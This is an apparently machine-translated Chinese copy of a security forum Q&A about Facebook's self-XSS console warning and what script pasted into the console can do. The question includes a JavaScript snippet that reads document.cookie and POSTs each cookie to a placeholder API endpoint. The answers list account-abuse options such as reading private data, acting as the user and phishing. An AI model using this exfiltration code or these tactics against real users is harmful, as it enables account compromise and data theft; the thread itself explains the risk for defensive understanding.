Facebook 对 self-xss 的警告

信息安全 xss javascript 饼干 注射 自我xss
2021-08-22 23:39:00

我最近碰巧在 Facebook 上打开了浏览器控制台,并收到以下消息。

停止!

这是面向开发人员的浏览器功能。如果有人告诉您在此处复制并粘贴某些内容以启用 Facebook 功能或“破解”某人的帐户,则这是一个骗局,他们将允许他们访问您的 Facebook 帐户。

有关更多信息,请参阅https://www.facebook.com/selfxss

我的第一个想法是这简直是过度杀戮,可能是为了吓跑那些毫无戒心的互联网人,他们会盲目地将一些 javascript 复制并粘贴到控制台中,以期解锁一个秘密的不喜欢按钮。

但实际上我一直在思考如何从 Javascript 控制台破坏用户会话数据。

我想到了一个脚本循环document.cookie变量并将所有 cookie 数据发布到 api。类似于下面的东西。

var cookies = document.cookie.split(';');
var xhr = new XMLHttpRequest();
xhr.open("POST", apiUrl, true);
xhr.setRequestHeader('Content-Type', 'application/json');

for(var i=0 ; i < cookies.length ; ++i) {
    var pair = cookies[i].trim().split('=');
    xhr.send(JSON.stringify({
        name: pair[0],
        value: pair[1]
    }));
}

但我的理解是,将http-only标志添加到 cookie 意味着 javascript 或客户端无法访问它。

那么攻击者如何让您完全通过 self-xss 来破坏您的 Facebook 帐户呢?

2个回答

该警告是关于“访问您的 Facebook 帐户”,而不是完全控制。

Self-XSS 像任何 XSS 一样工作。虽然您无法读取 httpOnly 会话 cookie,但您可以:

  • 读取受攻击用户可用的任何数据(消息、秘密组、配置文件信息等)
  • 以被攻击用户的名义发送任意请求(发送消息、创建帖子等)
  • 向受攻击的用户显示任意数据(假消息或帖子、网络钓鱼攻击者等)

直接引用Abe Miessler 的回答

“当攻击者使用 Web 应用程序将恶意代码(通常以浏览器端脚本的形式)发送给不同的最终用户时,就会发生跨站脚本 (XSS) 攻击。”

我要强调这个定义的最后一部分:“……给不同的最终用户。”

在我看来,要成为 XSS 攻击,您需要向网站提交请求并让该网站响应恶意内容。发生这种情况的方式通常分为两种不同的方法:

当你说服你的受害者盲目地在他们的浏览器控制台中输入文本时,你基本上是在让他们直接在他们的页面上执行 Javascript 脚本。这在技术上不是XSS,但撇开语义不谈,您可以对受害者使用完整的脚本执行功能来做其他恶意事情:

  • 创建一个虚假的登录页面或添加您自己的资源(或覆盖)。

  • 提交帖子,在他们的页面上执行其他操作(例如喜欢帖子,提交图片等)

正如您已经说过的,在 cookie 上设置 http-only 标志确实可以防止通过控制台访问它,但这并不是您拥有代码执行权限后唯一可用的攻击媒介。